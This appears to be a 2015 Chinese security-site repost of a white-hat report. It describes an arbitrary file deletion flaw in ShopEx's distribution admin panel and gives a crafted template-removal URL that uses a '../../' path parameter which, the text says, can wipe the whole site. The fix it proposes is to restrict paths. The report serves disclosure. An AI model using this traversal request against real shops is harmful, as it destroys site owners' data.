ShopEx易分销文件删除漏洞及修复 - 网站安全

ShopEx易分销文件删除漏洞及修复 - 网站安全 - 自

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] 简要描述：白帽走遍天下。侠义常留心中。详细说明：这个漏洞同样出在模板管理处。。删除模板的地方可以构造url 即可删除任意文件包括整站删除都是可以的。。构造如下： http:...

简要描述：白帽走遍天下。侠义常留心中。

详细说明：这个漏洞同样出在模板管理处。。删除模板的地方可以构造url 即可删除任意文件包括整站删除都是可以的。。

构造如下： http://shop-xxxxxx.shopex.fenxiaowang.com/shopadmin/index.php#ctl=system/template&act=removePage&p[0]=此地方填要删除的目录可以为../../ 即可删除整站同样这个漏洞存在于易开店等其他shopex系统中。。。

修复方案：对路径做限制。。

PHPEIP内容管理系统CMS 2010本地包含漏洞及修复 -

康盛旗下网站主机网站存在XSS - 网站安全 - 自学

子栏目

ShopEx易分销文件删除漏洞及修复 - 网站安全 - 自

最新评论

添加评论

更多文章推荐

添加评论